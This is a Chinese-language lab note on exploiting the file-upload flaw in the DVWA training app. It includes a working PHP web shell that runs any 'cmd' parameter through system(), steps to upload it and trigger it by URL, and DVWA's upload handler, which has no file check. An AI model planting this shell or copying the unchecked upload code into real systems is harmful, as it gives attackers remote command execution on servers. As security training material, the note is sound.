參考:Metasploitable 學習筆記-文件上傳漏洞( file upload) & Reverse Shell: 包含reverse shell
可以選擇檔案並上傳(預設應該是一個傳照片的系統)
vim simple-backdoor.php
i
進入編輯模式,輸入檔案內容<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
esc
退出編輯模式,並輸入:wq
保存結果simple-backdoor.php
並上傳參考: 如何在 Linux 终端高效搜索文件——高级指南
參考 30日Linux學習系列 第 29 篇 Linux find指令
sudo find / -type d -name "<資料夾名稱>"
可以搜尋該資料夾路徑(d 代表目錄,可以找到dvwa資料夾路徑sudo -i
,切換權限sudo find / -type d -name "hackable"
,尋找剛剛上傳資料夾的裸露路徑cd /var/lib/docker/overlay2/414d260a84338dc69c8df81cb7c00e1e7b2113299390ee1aac99b75474336164/diff/var/www/html/hackable root@ip-172-31-52-110:/var/lib/docker/overlay2/414d260a84338dc69c8df81cb7c00e1e7b2113299390ee1aa
ls
印出檔案 --> 觀察到有 uploadscd uploads
ls
檢查內部檔案ls -al
顯示隱藏的檔案,驗證攻擊(可讀取敏感資訊)../../hackable/uploads/simple-backdoor.php
http://127.0.0.1/DVWA/
直接往後接即可?cmd=ls
,即可達成web bash的效果驗證,可直接執行terminal並可以達成<?php
if( isset( $_POST[ 'Upload' ] ) ) { // 檢查是否有 'Upload' 按鈕被按下
// 我們將要寫入的目標路徑是哪裡?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; // 設定目標路徑
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 取得上傳檔案的名稱並附加到目標路徑上
// 我們能將檔案移動到上傳的資料夾嗎?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // 如果無法移動檔案
// 否
echo '<pre>您的圖片未上傳成功。</pre>'; // 輸出錯誤訊息
}
else {
// 是的!
echo "<pre>{$target_path} 上傳成功!</pre>"; // 輸出成功上傳訊息
}
}
?>
可以從web shell傳送terminal指令,達成reverse shell,為高危險層級的漏洞
檔案上傳漏洞的常見類型包括:
檔案上傳漏洞的危害包括: